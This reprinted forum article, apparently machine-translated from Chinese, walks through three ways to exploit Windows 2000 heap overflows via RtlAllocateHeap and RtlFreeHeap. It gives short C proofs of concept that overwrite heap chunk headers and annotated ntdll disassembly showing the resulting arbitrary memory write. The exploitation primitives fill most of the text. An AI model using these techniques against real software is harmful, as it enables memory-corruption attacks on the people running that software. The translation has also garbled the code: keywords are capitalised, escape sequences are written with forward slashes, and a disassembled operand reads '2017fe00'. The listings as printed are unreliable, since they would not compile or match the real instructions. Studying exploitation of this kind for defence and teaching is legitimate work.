Summary three methods of using heap overflow in Windows
Creation Time:
Article attributes: Reprinted
Article submitted: watercloud (watercloud_at_xfocus.org)
The original article was published by Leven in the network programming version:
Https://www.xfocus.net/bbs/index.php? Act = se & F = 3 & t = 34455 & P = 122380
Summary three methods of using heap overflow in Windows
1. Use rtlallocheap
This is what isno mentioned. Let's look at this example.
Main (INT argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "Bytes/x03/x00/x05/x00/x00/x01/x08/x00/X11/X11/X11/X11/X21/X21/X21/X21";
Buf1 = (char *) malloc (32);/* allocate two memories */
Memcpy (buf1, S, 32 + 16);/* Copy 16 more bytes */
Buf2 = (char *) malloc (16 );
Free (buf1 );
Free (buf2 );
Return 0;
}
After malloc is completed for buf1, the returned address (buf1) is a pointer to the memory allocation.
Buf1 management structure (8 bytes) | buf1 real operable space (32 bytes) | management structure of the next idle heap (8 bytes) | two double-stranded table pointers (8 bytes)
After malloc is completed for buf2, the memory allocated to buf1 is as follows:
Buf1 management structure (8 bytes) | buf1 real operable space (32 bytes) | buf2 management structure (8 bytes) | buf2 real operable space (16 bytes) | two double-stranded table pointers (8 bytes)
Now, if the memcpy operation of buf1 overflows and overwrites
Management structure of the next idle heap (8 bytes) | two double-stranded table pointers (8 bytes)
When there are 16 bytes in total, the rtlallocheap operation of buf2 will be abnormal. The reason is the code of rtlallocheap.
001b: 77fcc453 8901 mov [ECx], eax
001b: 77fcc455 894804 mov [eax + 04], ECx
In this case, ECx points to the next pointer (0x21212121) of two double-stranded table pointers (8 bytes), and eax points to the forward pointer (0x11111111 ). Similar to format string overflow, you can write any data to any address. This situation is relatively simple, provided that buf1 has a chance of overflow before buf2 allocates space.
2. Use rtlfreeheap method 1
This is what ilsy mentioned. Let's look at the example.
Main (INT argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/x03/x00/x05/x00/x00/x09 ";
Buf1 = (char *) malloc (32);/* allocate two memories */
Buf2 = (char *) malloc (16 );
Memcpy (buf1, S, 32 + 6);/* Copy 6 more bytes */
Free (buf1 );
Free (buf2 );
Return 0;
}
Because buf1 has 6 more bytes, these 6 bytes will overwrite the management structure of buf2, and an exception will occur in free (buf2. As long as we carefully construct these 6 bytes, we can achieve this goal.
Let's take a look at the definition of the 8-byte management structure (from the Windows source code)
Typedef struct _ heap_entry {
//
// This field gives the size of the current block in allocation
// Granularity units. (I. e. Size // Equals the size in bytes ).
//
// Wait t if this is part of a virtual alloc block then this
// Value is the difference between the commit size in the virtual
// Alloc entry and what the user asked.
//
Ushort size;
//
// This field gives the size of the previous block in allocation
// Granularity units. (I. e. previussize // Equals the size of the previous block in bytes ).
//
Ushort previussize;
//
// This field contains the index into the segment that controls
// The memory for this block.
//
Uchar segmentindex;
//
// This field contains various flag bits associated with this block.
// Currently these are:
//
// 0x01-heap_entry_busy
// 0x02-heap_entry_extra_present
// 0x04-heap_entry_fill_pattern
// 0x08-heap_entry_virtual_alloc
// 0x10-heap_entry_last_entry
// 0x20-heap_entry_settable_flag1
// 0x40-heap_entry_settable_flag2
// 0x80-heap_entry_settable_flag3
//
Uchar flags;
//
// This field contains the number of unused bytes at the end of this
// Block that were not actually allocated. used to compute exact
// Size requested prior to rounding requested size to allocation
// Granularity. Also used for Tail checking purposes.
//
Uchar unusedbytes;
//
// Small (8 bit) Tag indexes can go here.
//
Uchar smalltagindex;
# If defined (_ win64)
Ulonglong reserved1;
# Endif
} Heap_entry, * pheap_entry;
Yes
Size of the current heap (2 bytes) | size of the previous heap (2 bytes) | index (1 byte) | flag (1 byte) | unusedbytes (1 byte) | smalltagindex (1 byte)
Note that the size here is the actual size of the 8-byte alignment and then divided by the value of 8.
Let's look at the various flags.
Let's take a look at the key points in rtlfreeheap.
Key Aspect 1
001b: 77fcc829 8a4605 mov Al, [ESI + 05] // ESI points to the start address of the buf2 8-byte management structure, namely, the Al flag
001b: 77fcc82c a801 test Al, 01 // whether the flag value contains heap_entry_busy
001b: 77fcc82e 0f84a40e0000 JZ 77fcd6d8 // skip if not included. Skip here
001b: 77fcc834 f6c207 test DL, 07
001b: 77fcc837 0f859b0e0000 jnz 77fcd6d8
001b: 77fcc83d 807e0440 CMP byte PTR [ESI + 04], 40 // ESI + 4 is greater than 0x40
001b: 77fcc841 0f83910e0000 Jae 77fcd6d8 // jump if the value is greater than or equal to, and cannot jump here
001b: 77fcc847 834 dfcff or dword ptr [EBP-04],-01
001b: 77fcc84b a8e0 test Al, E0 // flag whether heap_entry_settable_flag1 2 3
001b: 77fcc84d 754a jnz 77fcc899 // skip if one exists. This is not important.
001b: 77fcc84f 8b8f80050000 mov ECx, [EDI + 00000580]
001b: 77fcc855 85c9 test ECx, ECx
001b: 77fcc857 7440 JZ 77fcc899 // jump here
Key Aspect 2
001b: 77fcc899 c745fc0000000 mov dword ptr [EBP-04], 00000001
001b: 77fcc8a0 f6c301 test BL, 01
001b: 77fcc8a3 750f jnz 77fcc8b4 // jump here
001b: 77fcc8a5 ffb778050000 push dword ptr [EDI + 00000578]
001b: 77fcc8ab e853c8fbff call NTDLL! Rtlentercriticalsection
001b: 77fcc8b0 c645d401 mov byte PTR [EBP-2C], 01
001b: 77fcc8b4 f6460508 test byte PTR [ESI + 05], 08 // flag whether heap_entry_virtual_alloc is included
001b: 77fcc8b8 0f858bf2ffff jnz 77fcbb49 // skip when the content is contained. Skip here
Key Aspect 3
001b: 77fcbb49 83c6e8 add ESI,-18 // ilsy indicates that 0x18 is different in different Windows versions.
001b: 77fcbb4c 89759c mov [EBP-64], ESI
001b: 77fcbb4f 8b06 mov eax, [esi]
001b: 77fcbb51 894598 mov [EBP-68], eax
001b: 77fcbb54 8b7604 mov ESI, [ESI + 04]
001b: 77fcbb57 897594 mov [EBP-6C], ESI
001b: 77fcbb5a 8906 mov [esi], eax // operation exception
We can see that when the last operation is abnormal, eax = 0x61616161, ESI = 0x61616161 is exactly the value in buf1, that is, after copying the data from the start address of buf2 minus the address 0x18
The address to which the data is directed. We can control the two data.
The premise of the second method is as follows:
1) The flag of the heap (buf2) construction must contain heap_entry_busy and heap_entry_virtual_alloc, which can be set to 0xff.
2) The character before the flag of the heap is smaller than 0x40.
3) The length of the previous heap (buf1) must be greater than or equal to 0x18 + 0x08, or 32 bytes. Otherwise, ESI points to areas beyond our control, causing usage failure
Also, ilsy mentioned that the first byte in the 8-byte management structure must be greater than 0x80. It is not necessary on my machine (windows2000pro CN + SP4). He uses 0x99, I use 0x03 and can also use it successfully.
3. Use rtlfreeheap method 2
This is the first exception I found when studying heap overflow. I spent two hours reading several posts and thought it was an exception in the unlink heap block.
Look at the example
Main (INT argc, char * argv [])
{
Char * buf1, * buf2;
Char s [] = "Bytes/x03/x00/x05/x00/x00/x00/x08/x00/X11/X11/X11/X11/x22/x22/x22";
Buf1 = (char *) malloc (32);/* allocate two memories */
Buf2 = (char *) malloc (16 );
Memcpy (buf1, S, 32 + 16);/* Copy 16 more bytes */
Free (buf1 );
Free (buf2 );
Return 0;
}
It looks like method 2, but after running it, you will find that, unlike the above mentioned, there is an exception in free (buf1. Let's take a look at the key points of rtlfreeheap.
Key Aspect 1
Key Aspect 1 of the same method 2: try to jump to key aspect 2.
Key Aspect 2
001b: 77fcc899 c745fc0000000 mov dword ptr [EBP-04], 00000001
001b: 77fcc8a0 f6c301 test BL, 01
001b: 77fcc8a3 750f jnz 77fcc8b4
001b: 77fcc8a5 ffb778050000 push dword ptr [EDI + 00000578]
001b: 77fcc8ab e853c8fbff call NTDLL! Rtlentercriticalsection
001b: 77fcc8b0 c645d401 mov byte PTR [EBP-2C], 01
001b: 77fcc8b4 f6460508 test byte PTR [ESI + 05], 08 // flag whether heap_entry_virtual_alloc is included
001b: 77fcc8b8 0f858bf2ffff jnz 77fcbb49 // skip when the content is contained. Skip is not allowed here
001b: 77fcc8be 0fb706 movzx eax, word PTR [esi]
001b: 77fcc8c1 8945d0 mov [EBP-30], eax
001b: 77fcc8c4 f6470c80 test byte PTR [EDI + 0C], 80
001b: 77fcc8c8 7515 jnz 77fcc8df
001b: 77fcc8ca 6a00 push 00
001b: 77fcc8cc 8d45d0 Lea eax, [EBP-30]
001b: 77fcc8cf 50 push eax
001b: 77fcc8d0 56 push ESI
001b: 77fcc8d1 57 push EDI
001b: 77fcc8d2 e8ea000000 call 77fcc9c1 // enter this call
Key Aspect 3
001b: 77fcc9c1 55 push EBP
001b: 77fcc9c2 8bec mov EBP, ESP
001b: 77fcc9c4 53 push EBX
001b: 77fcc9c5 56 push ESI
001b: 77fcc9c6 8b750c mov ESI, [EBP + 0C]
001b: 77fcc9c9 8b5d08 mov EBX, [EBP + 08]
001b: 77fcc9cc 57 push EDI
001b: 77fcc9cd 8bfe mov EDI, ESI // ESI points to the starting address of buf1
001b: 77fcc9cf 0fb74602 movzx eax, word PTR [ESI + 02] // Add the heap length before buf1 to eax
001b: 77fcc9d3 c1e003 SHL eax, 03 // multiply by 8 to get the actual size
001b: 77fcc9d6 2bf8 sub EDI, eax // EDI points to the starting address of the heap before buf1
001b: 77fcc9d8 3bfe cmp edi, ESI
001b: 77fcc9da 740a JZ 77fcc9e6
001b: 77fcc9dc f6470501 test byte PTR [EDI + 05], 01 // whether the flag of the previous heap contains heap_entry_busy
001b: 77fcc9e0 0f8498e9ffff JZ 77fcb37e // Skip is not allowed
001b: 77fcc9e6 f6460510 test byte PTR [ESI + 05], 10 // whether the flag of the previous heap contains heap_entry_last_entry
001b: 77fcc9ea 750f jnz 77fcc9fb // skip
001b: 77fcc9ec 8b4510 mov eax, [EBP + 10]
001b: 77fcc9ef 8b00 mov eax, [eax] // buf1 heap Length
001b: 77fcc9f1 f644c60501 test byte PTR [eax * 8 + ESI + 05], 01 // whether the flag of the buf2 heap contains heap_entry_busy
001b: 77fcc9f6 8d3cc6 Lea EDI, [eax * 8 + esi] // EDI points to the start address of buf2
001b: 77fcc9f9 7409 JZ 77fcca04 // skip without memory (merge idle heap ?), Skip here
001b: 77fcc9fb 8bc6 mov eax, ESI
001b: 77fcc9fd 5f pop EDI
001b: 77fcc9fe 5E pop ESI
001b: 77fcc9ff 5B pop EBX
001b: 77fcca00 5d pop EBP
001b: 77fcca01 c21000 RET 0010
001b: 77fcca04 0fb70f movzx ECx, word PTR [EDI] // ECx is the heap length of buf2
001b: 77fcca07 03c8 add ECx, eax // Add the heap length of buf1
001b: 77fcca09 81f900fe0000 CMP ECx, 2017fe00 // whether it is greater than 0xfe00
001b: 77fcca0f 77ea ja 77fcc9fb // skip if the value is greater
001b: 77fcca11 807d1400 CMP byte PTR [EBP + 14], 00
001b: 77fcca15 0f85fb210000 jnz 77fcec16
001b: 77fcca1b 8a4705 mov Al, [EDI + 05] // Al is the flag of buf2
001b: 77fcca1e 2410 and Al, 10 // whether heap_entry_last_entry is included
001b: 77fcca20 a810 test Al, 10
001b: 77fcca22 884605 mov [ESI + 05], Al // set the flag of buf1 to heap_entry_last_entry
001b: 77fcca25 754b jnz 77fcca72 // Skip here
001b: 77fcca27 57 push EDI
001b: 77fcca28 53 push EBX
001b: 77fcca29 e80ccbfbff call 77f8953a
001b: 77fcca2e 8b4f0c mov ECx, [EDI + 0C] // offset 0x0c of buf2 to ECx
001b: 77fcca31 8b4708 mov eax, [EDI + 08] // offset 0x08 of buf2 to eax
001b: 77fcca34 3bc1 CMP eax, ECx
001b: 77fcca36 8901 mov [ECx], eax // exception occurred here
001b: 77fcca38 894804 mov [eax + 04], ECx
Both method 3 and method 2 use the rtlfreeheap function, and their forks lie in key aspect 2.
001b: 77fcc8b8 0f858bf2ffff jnz 77fcbb49
Method 2: Jump here; Method 3: Do not jump, so you can enter the following call (key aspect 3)
When an exception occurs, ECx = 0x22222222 and eax = 0x11111111 are controllable.
There are three prerequisites for Mode 3 to be visible.
1) The length of the constructor (buf2) cannot be 0.
2) The length of the previous heap (buf1) and the heap cannot be greater than 0xfe00 (after div8)
3) The flag of the heap cannot contain heap_entry_busy.
In addition to the above three exploitation methods, there is another method, which is similar to method 3, but an exception occurs in free (buf2). It should be caused by an incorrect length calculation when the next heap is merged, it is not analyzed in detail. It is similar to the heap overflow in Linux. However, in windows, the heap length cannot be set to a negative number, causing some trouble. Sign
After the overflow, let's stop talking about things. Write these mainly to analyze and summarize some things and hope to help beginners. correct the mistakes.
Leven was edited on
---
Fainting